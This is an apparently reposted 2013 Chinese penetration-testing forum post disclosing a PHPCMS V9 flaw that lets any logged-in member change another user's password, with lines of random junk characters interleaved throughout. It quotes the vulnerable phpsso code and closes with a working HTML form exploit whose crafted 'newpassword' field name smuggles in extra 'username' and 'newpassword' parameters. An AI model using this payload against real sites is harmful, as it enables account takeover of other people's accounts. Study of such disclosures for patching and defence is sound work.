中国网络渗透测试联盟
标题:
PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发
[打印本页]
作者:
admin
时间:
2013-2-23 14:46
标题:
PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发
提到的通行证的代码:
$ V* D2 O0 u0 c( r9 [# [
7 f: q* A9 r3 f; H
3 _. e# K" i2 `8 B/ P
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
. G" }8 _ m" t5 Z9 K/ e" u) O p
4 B: s! a" m3 H$ }
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
4 Y4 h- l0 @2 X- b2 w
$ J- ?8 A' [$ Z4 l3 r8 P7 h) s
我把它留给了你们。
4 j0 n4 n) [" n' s2 K0 v: w
不知道你们发现了它没有。
8 L% K, X" p5 P/ v/ q% K& J m+ K
5 o7 y7 F) j" U! i* F
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
+ f& v% y! q, K+ l
$ _* d( H! z, G3 k" \! W7 E! N
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
1 [7 o. l# q/ P% G( l; T" n+ V
% f2 K' Q& E" O& r
也就是
5 ~9 `/ X4 e+ p
) r* [3 n% a. t3 o) e% ?$ n" S
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
@/ W/ F! d/ P X0 e+ ?
% Q1 r7 ~' s/ b' e" B
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
+ a# s6 {& x' |) p4 o5 P- k
7 z) Q7 B7 p o3 y. E7 I
: O M9 b) i! r7 k. Q# T; H* f
其实我们有这样的机会,看看代码,如下:
) }% u8 M" U% k' ~1 n- Y
6 ~* p( a5 t( b$ t& e8 o, |8 Z
5 q' W* i- `4 W1 t1 a
public function auth_data($data) {
5 b+ J2 C) x5 t( Y& y w
$s = $sep = '';
( l" I9 T: X1 F5 f" B+ c$ S
foreach($data as $k => $v) {
- n& p% I Z: s5 |
if(is_array($v)) {
: j! S( i# A+ p$ R) `
$s2 = $sep2 = '';
8 u$ A) a4 R' E8 ?6 M6 N4 N/ r
foreach($v as $k2 => $v2) {
5 F j0 D" A1 g# Y1 A, k1 C: J
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
" O, w/ B. [, I
$sep2 = '&';
; m, A, w9 l j. F" p
}
|! M# Z5 P0 m& O/ l9 B/ L
$s .= $sep.$s2;
7 y5 f2 B: A6 S3 b. b3 W
} else {
! {" m6 d# H2 l/ A- a; K
$s .= "$sep$k=".$this->_ps_stripslashes($v);
" f" S# k2 M4 _ U- k
}
( T9 a) b; y6 r' C
$sep = '&';
2 g& k/ k& I3 t" Y
}
/ _! _; c0 h$ r$ v
7 F! g2 K% u- u- V0 [
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
% P! `! f- F3 b; O
return $auth_s;
7 o J& ^, |8 M& e
}
2 I- _. ]( {- l6 A
" x# F- l# }6 z3 @4 O. |/ d
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
4 @" h4 z3 K6 i2 q; }1 }
+ B p: e1 l5 b. Y! r
举个例子
0 q& F8 u/ F* C' X
+ i, t8 ^; V* S, l; e* m' J
$a[aaa=a&bbb] = 'a';
: A4 ?8 S# A8 P1 C0 @' \4 G
! i: Y/ Q: z$ T/ r" h
会变成aaa=a&bbb=a
( P- L8 `$ {# P: X
. p, T& x1 q1 C7 W6 u; g8 u: N& S
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
7 |3 b. u6 x9 x+ u3 M% I5 q
2 Y4 F! m3 f" f) v0 U- S( T' M" `
这个时候,我们可以再去看一个函数。
7 v- A5 f0 W$ H! s) H# L
2 v3 b Y: f; ? U* E( b
就在这个文件内:
- N' ?* V; x# t) C4 Q& p
8 ? K6 P' K3 k* }$ B, }6 k
' j+ F4 n* |: q: H4 `. T
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
0 S( K9 i# [1 r
if($email && !$this->_is_email($email)) {
$ c9 }, T; d. S* F2 `2 o
return -4;
3 M6 c4 W; K# R, I* Z) m9 K
}
' m" t5 O1 V' L
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
! o, Z4 ]& P4 T4 {5 |/ v# G9 e' |
}
2 z+ t+ x. }9 \* d: z7 T& Z
& H T. O3 ~7 W! t$ t0 J; o
这是向通行证发了这样一个请求。
6 o1 {$ S2 Y0 h1 W2 e8 B. k
# }8 k5 @ e% m3 [+ f; T# L' i
我们再跟到通信证代码里去看看,就会有所发现。
0 z3 N3 g: b1 ?
( z* h6 [; G E6 Z1 Q6 ]7 T) R2 p
7 [( y! h8 y0 N5 M4 ^
public function edit() {
4 T; `1 \$ I' m% I' }4 j; Y
//能省就省,太长了不是吗?
; s* K& G$ M# h
! R; v8 @) G+ [3 m1 |# q
if($this->username) {
$ P% H9 Y) U5 i$ B2 W! ~$ e
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
" g5 m9 A: h/ }7 j
$res = $this->db->update($data, array('username'=>$this->username));
+ K! p7 G# y$ y% g8 E% N
} else {
- |9 {2 [% I, P& O& d& ^: j
file_put_contents('typeb.txt',print_r($data,1).$this->uid);
8 _1 O2 ^; H% |) p
$res = $this->db->update($data, array('uid'=>$this->uid));
1 M5 v+ {8 H2 ]; t/ J) R
}
N6 L9 H8 U% ^& }* v
! Y* _4 s: ?) y% q9 B: q5 S5 J
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
5 I( v* S, W& B! }' {9 G
- A, W( {. y. Z9 r% l; o
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
0 j- x& k& Y6 ~" V
' l3 C) |4 x& R& d0 s
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
: d" w e' u3 @) \- P4 S
# L6 \. z9 ?/ ^' q% R) \% Y
我当然找到了:
4 s6 m+ m8 @7 D2 v# y* n) t
phpcms9/phpcms/modules/member/index.php
2 e( T+ v' \" P9 q' e
" d" n+ u" d, m- @) |
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
0 K& S& a3 _: H+ S
* r% P6 l: S. ?. d: `- j8 j5 l+ g5 }
然后就没有然后了。
" M/ C3 b8 x! c0 P# J( q
6 I! c: j6 ]1 B( P" q b0 J
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
9 ^& {# I- V8 @; u/ d- m. L' B& ?
<table width="100%" cellspacing="0" class="table_form">
3 s$ O2 C0 U4 |* m+ a
<tr>
# h- Q8 U- w& @4 C8 q |. d
<th width="80">邮箱:</th>
) S) Y; \& b$ r) q; {$ i
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
) Q. K; U+ G$ O
</tr>
; _/ _/ {3 c F+ |0 I
<tr>
# @- e- N. o% M2 j2 J5 E
<th width="80">原密码:</th>
]+ b& M2 [ {3 j
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
5 k: V5 L. H7 f' M* P
</tr>
! v# b1 g$ q9 F3 \/ {3 J
<tr>
+ g* `2 V, P0 n% s; Z* k* A
<th>新密码:</th>
& k8 A& s# V( U( {4 c( M& ]
<td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
( D. q0 ~) ]- i' {& j8 j0 E) V }: u
</tr>
5 l' s6 O Z' J6 _3 Z h8 f- r& Y
<th></th>
3 C0 I% s; x/ a+ w7 r4 \+ \, G
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
+ J' e8 c4 q% a) O2 q+ c
</tr>
?0 E6 z- l7 A
</table>
: E/ u# G' X6 c# L% M3 x3 K
0 z3 v$ @( E7 k8 P* u
6 k& r0 e# `7 F
</form>
& N$ e g7 S; n* E W
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2